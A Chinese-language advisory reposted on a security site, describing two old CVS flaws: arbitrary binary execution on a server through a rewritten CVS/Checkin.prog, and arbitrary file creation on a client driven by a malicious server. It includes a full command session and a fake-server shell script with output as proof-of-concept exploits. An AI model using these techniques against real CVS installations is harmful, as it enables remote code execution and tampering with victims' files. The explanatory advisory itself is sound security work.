您的位置:首页 > 文档 > 网络安全 >
 文章分类 

UNIX CVS 服务器的漏洞


创建:2005-11-07 00:00:00
作者:Unlinux
来自: http://www.Unlinux.com

内容:

CVS包括两个新的安全漏洞,一个允许任意的代码的执行,而另一个在操作系统上任何地方允许文件的生成。前者是客户端在CVS服务器上开始的攻击,而后者是对CVS客户端的攻击。

<1>committer能在使用CVS/Checkin.prog或CVS/Update.prog的服务器里执行任何的二进制代码。

committer能在在使用Checkin.prog的CVS服务器上实行任意的二进制。通常,当工作目录被检查的时候,目录里的CVS/Checkin.prog从CVSROOT/modules被复制并提交给服务器非法执行。注意当它被执行的时候,被提交的文件还留在当前目录中这一点。因为工作目录能被有适当权限的非法用户修改。Checkin.prog可以被修改,或者更可以被删除后重新创建,并且,CVS服务器将执行这伪造的Checkin.prog。注意非法用户能通过`cvs add -kb'和`cvs commit'的方式创建任意的二进制文件。这样,攻击者能通过`cvs commit'的方式激活Checkin.prog从而轻易的执行已被预编译的二进制代码。注意用CVS/Update.prog存在类似的问题这一点。下面的例子就是一个非法用户提交给服务器`ls`二进制代码并让其执行的过程(假定服务器和客户端具有相同的体系结构)。

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
# cvs.lock
# ,b>cvs.wfl.serein.m17n.org.14330
binary,v

<2>CVS服务器能被命令在客户端机器上任何位置创建任何文件。

根据CVS协议,客户端的读写路径是由服务器处理生成,并且客户端完全信任服务器提供的路径。例如:假设客户端试图检查`tst`模块:

% cvs -f -d :ext:user@server:/cvsroot co tst

并且,服务器包括象下面这样危险的响应在内:

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
The client creates /tmp/foo.

下述内容是一个这样攻击的例子,尽管这个例子使用扩充文件系统ext使服务器运行伪造的CVS.方法,任何针对这个漏洞的方法都可以(当然包括PSERVER).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh
cat <<'End' Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo

转载自:http://www.unlinux.com/doc/security/20051107/8519.html

评论】 【加入收藏夹】 【 】 【打印】 【关闭
 *  请尊重我们的劳动,转载请注明出自UnLinux.Com及作者名 * 

※ 相关链接
 ·创建UNIX后门(初级篇)  (2005-11-07 00:00:00)
 ·UNIX系统后门的安放和日志的擦除  (2005-11-07 00:00:00)
 ·Unix网络的两个安全问题  (2005-11-07 00:00:00)
 ·创建UNIX后门(中级篇)  (2005-11-07 00:00:00)
 ·创建UNIX后门(高级篇)  (2005-11-07 00:00:00)
 ·Unix文件安全检查利器- Tripwire  (2005-11-07 00:00:00)
 ·unix系统病毒概述  (2005-11-07 00:00:00)
 ·关于Linux和Unix动态连接库的安全  (2005-11-07 00:00:00)
 ·UNIX IP Stack 调整指南  (2005-11-07 00:00:00)
 ·提高开放式 UNIX 平台的安全性  (2005-11-07 00:00:00)

Copyright © 2005 UnLinux.Com All Rights Reserved